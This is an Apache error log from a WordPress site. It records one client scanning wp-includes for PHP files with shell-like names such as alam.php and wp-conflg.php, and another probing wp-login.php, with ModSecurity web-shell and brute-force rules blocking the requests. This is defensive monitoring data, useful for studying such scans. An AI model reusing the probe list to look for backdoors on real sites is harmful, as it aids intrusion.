[Thu Nov 27 06:38:07.770585 2025] [autoindex:error] [pid 21017:tid 21059] [client 51.103.101.212:26584] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Thu Nov 27 06:38:15.027335 2025] [:error] [pid 21017:tid 21063] [client 51.103.101.212:26562] [client 51.103.101.212] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.103.101.212, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSeBV6ZA663ub03MMQu72QAAAQQ"], referer: https://www.bing.com/
[Thu Nov 27 06:38:45.179255 2025] [autoindex:error] [pid 6203:tid 6261] [client 51.103.101.212:26568] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Thu Nov 27 06:38:46.801068 2025] [autoindex:error] [pid 6203:tid 6264] [client 51.103.101.212:26568] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Thu Nov 27 06:38:51.820458 2025] [autoindex:error] [pid 6203:tid 6270] [client 51.103.101.212:26568] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Thu Nov 27 06:38:52.464818 2025] [autoindex:error] [pid 6203:tid 6272] [client 51.103.101.212:26568] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Thu Nov 27 06:38:52.764510 2025] [:error] [pid 6203:tid 6271] [client 51.103.101.212:26568] [client 51.103.101.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/index.php"] [unique_id "aSeBfMbdRL7aKyrgqyzplwAAAIs"], referer: https://duckduckgo.com/
[Thu Nov 27 06:38:55.615979 2025] [autoindex:error] [pid 6203:tid 6279] [client 51.103.101.212:26499] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Thu Nov 27 06:38:55.851474 2025] [:error] [pid 6203:tid 6278] [client 51.103.101.212:26499] [client 51.103.101.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/test1.php"] [unique_id "aSeBf8bdRL7aKyrgqyzpmwAAAJI"], referer: https://www.google.fr/
[Thu Nov 27 06:38:58.127928 2025] [autoindex:error] [pid 6202:tid 6242] [client 51.103.101.212:26620] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Thu Nov 27 06:38:58.417293 2025] [autoindex:error] [pid 6202:tid 6245] [client 51.103.101.212:26620] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Thu Nov 27 06:39:01.293100 2025] [:error] [pid 6202:tid 6246] [client 51.103.101.212:26620] [client 51.103.101.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/index.php"] [unique_id "aSeBhdJa7NTP0XPyZ6mHAQAAAE0"], referer: https://www.yahoo.com/
[Thu Nov 27 06:39:02.439392 2025] [autoindex:error] [pid 6203:tid 6275] [client 51.103.101.212:26586] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Thu Nov 27 06:39:04.717604 2025] [:error] [pid 6203:tid 6263] [client 51.103.101.212:26586] [client 51.103.101.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/autoload_classmap.php"] [unique_id "aSeBiMbdRL7aKyrgqyzpwQAAAIM"], referer: https://www.google.com/
[Thu Nov 27 06:39:05.012208 2025] [:error] [pid 21017:tid 21082] [client 92.205.231.61:44310] [client 92.205.231.61] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 92.205.231.61, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSeBiaZA663ub03MMQu8jgAAARc"]
[Thu Nov 27 06:39:07.195234 2025] [:error] [pid 6290:tid 6307] [client 51.103.101.212:26515] [client 51.103.101.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/chosen.php"] [unique_id "aSeBi4qL4zye-zKr6su_cgAAAM0"], referer: https://www.google.fr/
[Thu Nov 27 06:39:07.457933 2025] [:error] [pid 6290:tid 6309] [client 92.205.231.61:44326] [client 92.205.231.61] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 92.205.231.61, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSeBi4qL4zye-zKr6su_dgAAAM8"]
[Thu Nov 27 06:39:08.263272 2025] [:error] [pid 6290:tid 6317] [client 51.103.101.212:26448] [client 51.103.101.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aSeBjIqL4zye-zKr6su_fQAAANc"], referer: https://www.bing.com/
[Thu Nov 27 06:39:09.768092 2025] [autoindex:error] [pid 6203:tid 6260] [client 51.103.101.212:26614] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Thu Nov 27 06:39:10.018456 2025] [autoindex:error] [pid 6203:tid 6284] [client 51.103.101.212:26614] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/Diff/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Thu Nov 27 06:39:10.437207 2025] [autoindex:error] [pid 6203:tid 6281] [client 51.103.101.212:26614] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/Diff/Engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Thu Nov 27 06:39:10.840113 2025] [autoindex:error] [pid 6203:tid 6275] [client 51.103.101.212:26614] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Thu Nov 27 06:39:11.076540 2025] [:error] [pid 6203:tid 6283] [client 51.103.101.212:26614] [client 51.103.101.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aSeBj8bdRL7aKyrgqyzp3wAAAJc"], referer: https://www.bing.com/
[Thu Nov 27 06:39:12.359395 2025] [:error] [pid 6201:tid 6218] [client 51.103.101.212:26566] [client 51.103.101.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "aSeBkDkSJeRkIQGTjzxBNAAAAA0"], referer: https://www.yahoo.com/
[Thu Nov 27 06:39:13.135578 2025] [autoindex:error] [pid 6201:tid 6211] [client 51.103.101.212:26612] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Thu Nov 27 06:39:13.373163 2025] [:error] [pid 6201:tid 6214] [client 51.103.101.212:26612] [client 51.103.101.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aSeBkTkSJeRkIQGTjzxBNgAAAAk"], referer: https://www.google.com/
[Thu Nov 27 06:39:15.015111 2025] [:error] [pid 21017:tid 21063] [client 51.103.101.212:26585] [client 51.103.101.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/bk/index.php"] [unique_id "aSeBk6ZA663ub03MMQu8ogAAAQQ"], referer: https://www.google.de/
[Thu Nov 27 06:39:15.846030 2025] [autoindex:error] [pid 6201:tid 6223] [client 51.103.101.212:26509] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Thu Nov 27 06:39:16.130026 2025] [autoindex:error] [pid 6201:tid 6224] [client 51.103.101.212:26509] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-patterns/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Thu Nov 27 06:39:16.732065 2025] [autoindex:error] [pid 6201:tid 6228] [client 51.103.101.212:26509] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Thu Nov 27 06:39:16.969594 2025] [:error] [pid 6201:tid 6205] [client 51.103.101.212:26509] [client 51.103.101.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/shortcode/index.php"] [unique_id "aSeBlDkSJeRkIQGTjzxBPwAAAAA"], referer: https://www.google.de/
[Thu Nov 27 06:39:17.949740 2025] [autoindex:error] [pid 6290:tid 6304] [client 51.103.101.212:26520] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Thu Nov 27 06:39:18.219023 2025] [autoindex:error] [pid 6290:tid 6315] [client 51.103.101.212:26520] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Thu Nov 27 06:39:18.465685 2025] [:error] [pid 6290:tid 6303] [client 51.103.101.212:26520] [client 51.103.101.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/alam.php"] [unique_id "aSeBloqL4zye-zKr6su_oAAAAMk"], referer: https://www.google.de/
[Thu Nov 27 06:39:19.552662 2025] [autoindex:error] [pid 6203:tid 6280] [client 51.103.101.212:26512] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Thu Nov 27 06:39:19.788758 2025] [:error] [pid 6203:tid 6268] [client 51.103.101.212:26512] [client 51.103.101.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/index.php"] [unique_id "aSeBl8bdRL7aKyrgqyzp_AAAAIg"], referer: https://www.google.fr/
[Thu Nov 27 06:39:29.827930 2025] [access_compat:error] [pid 6290:tid 6311] [client 51.103.101.212:26599] AH01797: client denied by server configuration: /home/gigfrag/public_html/wp-content/updraft/, referer: https://duckduckgo.com/
[Thu Nov 27 06:39:45.933340 2025] [autoindex:error] [pid 21017:tid 21082] [client 51.103.101.212:26611] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Thu Nov 27 06:39:46.189329 2025] [autoindex:error] [pid 21017:tid 21072] [client 51.103.101.212:26611] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Thu Nov 27 06:39:46.462220 2025] [autoindex:error] [pid 21017:tid 21067] [client 51.103.101.212:26611] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Thu Nov 27 06:39:46.735300 2025] [:error] [pid 21017:tid 21061] [client 51.103.101.212:26611] [client 51.103.101.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aSeBsqZA663ub03MMQu9JwAAAQI"], referer: https://www.google.com/
[Thu Nov 27 06:39:49.253561 2025] [:error] [pid 21017:tid 21073] [client 51.103.101.212:26609] [client 51.103.101.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/index.php"] [unique_id "aSeBtaZA663ub03MMQu9RQAAAQ4"], referer: https://www.yahoo.com/
[Thu Nov 27 06:39:51.492495 2025] [autoindex:error] [pid 6290:tid 6309] [client 51.103.101.212:26544] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/html-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Thu Nov 27 06:39:52.670630 2025] [autoindex:error] [pid 6290:tid 6303] [client 51.103.101.212:26544] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/crystal/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Thu Nov 27 06:39:52.910004 2025] [:error] [pid 6290:tid 6315] [client 51.103.101.212:26544] [client 51.103.101.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/index.php"] [unique_id "aSeBuIqL4zye-zKr6svAEwAAANU"], referer: https://www.google.fr/
[Thu Nov 27 06:39:55.169975 2025] [autoindex:error] [pid 6201:tid 6216] [client 51.103.101.212:26606] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Thu Nov 27 06:39:55.724508 2025] [:error] [pid 6201:tid 6205] [client 51.103.101.212:26606] [client 51.103.101.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/media/index.php"] [unique_id "aSeBuzkSJeRkIQGTjzxBcAAAAAA"], referer: https://duckduckgo.com/
[Thu Nov 27 06:39:57.712750 2025] [autoindex:error] [pid 6203:tid 6281] [client 51.103.101.212:26592] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Thu Nov 27 06:40:00.378162 2025] [:error] [pid 6203:tid 6272] [client 51.103.101.212:26592] [client 51.103.101.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/index.php"] [unique_id "aSeBwMbdRL7aKyrgqyzrEwAAAIw"], referer: https://www.yahoo.com/
[Thu Nov 27 06:40:01.353924 2025] [autoindex:error] [pid 6201:tid 6221] [client 51.103.101.212:26623] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/codemirror/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Thu Nov 27 06:40:01.837751 2025] [autoindex:error] [pid 6201:tid 6208] [client 51.103.101.212:26623] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/crop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Thu Nov 27 06:40:02.077513 2025] [:error] [pid 6201:tid 6227] [client 51.103.101.212:26623] [client 51.103.101.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jcrop/jcrop.php"] [unique_id "aSeBwjkSJeRkIQGTjzxBdwAAABY"], referer: https://www.google.fr/
[Thu Nov 27 06:40:03.634125 2025] [autoindex:error] [pid 21017:tid 21062] [client 51.103.101.212:26601] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/php-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Thu Nov 27 06:40:03.890881 2025] [autoindex:error] [pid 21017:tid 21076] [client 51.103.101.212:26601] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
